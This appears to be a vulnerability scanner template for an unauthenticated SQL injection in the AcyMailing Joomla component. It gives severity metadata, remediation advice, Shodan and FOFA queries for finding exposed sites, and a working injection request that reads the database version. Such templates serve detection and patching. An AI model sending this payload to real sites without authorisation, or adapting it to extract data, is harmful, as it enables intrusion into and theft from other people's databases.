AcyMailing < 10.11.1 - Unauthenticated SQL Injection

id: CVE-2026-56292

info:
  name: AcyMailing < 10.11.1 - Unauthenticated SQL Injection
  author: str4k3r
  severity: critical
  description: |
    AcyMailing component for Joomla <10.11.1 contains a sql injection caused by improper input sanitization, letting attackers access unauthorized database data, exploit requires crafted input.
  impact: |
    Attackers can access and leak unauthorized database information, compromising data confidentiality.
  remediation: |
    Upgrade to version 10.11.1 or later.
  reference:
    - https://mysites.guru/blog/acymailing-sql-injection-disclosure/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56292
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-56292
    epss-score: 0.01381
    epss-percentile: 0.72358
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    vendor: acyba
    product: acymailing
    shodan-query: http.html:"com_acym"
    fofa-query: body="com_acym" || body="acymailing"
  tags: cve,cve2026,acymailing,joomla,wordpress,sqli,unauth

http:
  - raw:
      - |
        GET /index.php?option=com_acym&tmpl=component&ctrl=frontentityselect&task=loadEntityFront&offset=0&perCalls=500&entity=list&join&columns=id%2Cname&join_table=1%2CCONCAT%280x41435953%2CVERSION%28%29%2C0x454E4453%29%20AS%20acym_sqli HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "ACYS", "ENDS", "acym_sqli")'
        condition: and

    extractors:
      - type: regex
        group: 1
        regex:
          - 'ACYS([0-9]+\.[0-9]+\.[0-9]+[^E]*)ENDS'